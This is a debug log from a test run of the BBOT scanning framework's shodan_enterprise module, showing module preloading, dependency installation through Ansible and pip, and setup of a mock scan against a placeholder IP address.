18:44:33,928 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 18:44:33,929 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 18:44:33,929 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 18:44:33,930 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 18:44:34,054 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_7lg1uhnzp5 completed in 0 seconds with status FINISHED +2026-02-27 18:44:34,061 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 18:44:34,063 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:44:34,065 [CRITICAL] bbot test_module_shodan_enterprise.py:13 SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:44:34,066 [CRITICAL] bbot test_module_shodan_enterprise.py:13 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 18:44:34,067 [CRITICAL] bbot test_module_shodan_enterprise.py:13 SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:44:34,068 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-02-27 18:44:34,068 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-02-27 18:45:28,815 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 18:45:28,825 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 18:45:28,826 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 18:45:28,827 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 18:45:28,828 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 18:45:28,829 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 18:45:28,829 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 18:45:28,830 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 18:45:28,831 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 18:45:28,832 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 18:45:28,833 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 18:45:28,834 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 18:45:28,834 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 18:45:28,835 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 18:45:28,836 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 18:45:28,837 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 18:45:28,838 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 18:45:28,839 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 18:45:28,839 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 18:45:28,840 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 18:45:28,842 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 18:45:28,842 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 18:45:28,843 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 18:45:28,844 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 18:45:28,844 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 18:45:28,845 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 18:45:28,845 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 18:45:28,846 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 18:45:28,847 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 18:45:28,847 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 18:45:28,848 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 18:45:28,849 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 18:45:28,849 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 18:45:28,851 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 18:45:28,852 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 18:45:28,855 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 18:45:28,855 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 18:45:28,856 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 18:45:28,857 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 18:45:28,858 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 18:45:28,859 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 18:45:28,860 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 18:45:28,861 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 18:45:28,861 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 18:45:28,861 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 18:45:28,862 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 18:45:28,862 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 18:45:28,863 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 18:45:28,864 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 18:45:28,865 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 18:45:28,865 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 18:45:28,866 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 18:45:28,866 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 18:45:28,868 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 18:45:28,869 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 18:45:28,869 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 18:45:28,870 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 18:45:28,870 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 18:45:28,871 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 18:45:28,872 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 18:45:28,872 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 18:45:28,873 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 18:45:28,873 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 18:45:28,874 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 18:45:28,875 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 18:45:28,875 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 18:45:28,879 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 18:45:28,880 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 18:45:28,881 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 18:45:28,882 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 18:45:28,883 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 18:45:28,883 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 18:45:28,884 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 18:45:28,885 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 18:45:28,885 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 18:45:28,886 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 18:45:28,887 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 18:45:28,888 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 18:45:28,888 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 18:45:28,889 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 18:45:28,890 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 18:45:28,890 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 18:45:28,891 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 18:45:28,892 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 18:45:28,892 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 18:45:28,893 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 18:45:28,894 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 18:45:28,894 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 18:45:28,895 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 18:45:28,896 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 18:45:28,896 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 18:45:28,897 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 18:45:28,902 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 18:45:28,903 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 18:45:28,905 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 18:45:28,905 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 18:45:28,906 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 18:45:28,907 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 18:45:28,908 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 18:45:28,909 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 18:45:28,909 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 18:45:28,910 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 18:45:28,911 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 18:45:28,911 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 18:45:28,912 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 18:45:28,913 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 18:45:28,913 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 18:45:28,914 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 18:45:28,915 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 18:45:28,915 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 18:45:28,916 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 18:45:28,916 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 18:45:28,917 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 18:45:28,917 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 18:45:28,918 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 18:45:28,918 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 18:45:28,919 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 18:45:28,919 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 18:45:28,920 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 18:45:28,921 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 18:45:28,922 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 18:45:28,923 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 18:45:28,923 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 18:45:28,924 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 18:45:28,924 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 18:45:28,925 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 18:45:28,926 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 18:45:28,926 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 18:45:28,927 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 18:45:28,927 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 18:45:28,928 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 18:45:28,929 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 18:45:28,930 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 18:45:28,930 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 18:45:28,931 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 18:45:28,931 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 18:45:28,932 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 18:45:28,932 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 18:45:28,933 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 18:45:28,934 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 18:45:28,934 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 18:45:28,935 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 18:45:28,935 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 18:45:28,936 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 18:45:28,936 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 18:45:28,938 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 18:45:28,938 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 18:45:28,939 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 18:45:28,939 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 18:45:28,940 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 18:45:28,940 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 18:45:28,941 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 18:45:28,942 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 18:45:28,942 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 18:45:28,943 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 18:45:28,944 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 18:45:28,945 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 18:45:28,945 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 18:45:28,946 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 18:45:28,946 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 18:45:28,947 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 18:45:28,947 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 18:45:28,948 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 18:45:28,949 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 18:45:28,949 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 18:45:28,950 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 18:45:28,950 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 18:45:28,951 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 18:45:28,952 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 18:45:28,952 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 18:45:30,049 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:45:30,049 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:45:30,050 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 18:45:30,186 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 18:45:30,792 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 18:45:30,793 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 18:45:30,793 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 18:45:30,794 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 18:45:31,008 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 18:45:31,009 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 18:45:31,119 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 18:45:31,119 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 18:45:31,173 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 18:45:31,176 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 18:45:31,176 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 18:45:31,664 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 18:45:31,665 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 18:45:39,352 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 18:45:39,353 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 18:45:39,353 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 18:45:41,192 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 18:45:41,193 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 18:45:41,198 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:45:41,199 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 18:45:41,199 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:45:41,199 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 18:45:41,200 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 18:45:41,200 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 18:45:41,205 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/hwwjrosq472k517nb2ir +2026-02-27 18:45:42,075 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 18:45:42,076 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 18:45:42,076 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:45:42,077 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 18:45:42,077 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:45:42,077 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 18:45:42,079 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 18:45:42,202 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 18:45:42,202 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 18:45:42,203 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 18:45:42,205 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 18:45:42,205 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 18:45:42,205 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 18:45:42,205 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 18:45:42,206 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 18:45:42,206 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 18:45:42,207 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 18:45:42,208 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 18:45:42,208 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 18:45:42,209 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 18:45:42,209 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 18:45:42,209 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 18:45:42,209 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 18:45:42,209 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 18:45:42,210 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 18:45:42,210 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 18:45:42,210 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 18:45:42,210 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 18:45:42,211 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 18:45:42,211 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 18:45:42,211 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 18:45:42,211 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 18:45:42,211 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 18:45:42,212 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 18:45:42,212 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 18:45:42,212 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 18:45:42,212 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 18:45:42,212 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 18:45:42,213 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 18:45:42,213 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 18:45:42,213 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 18:45:42,213 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 18:45:42,213 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) 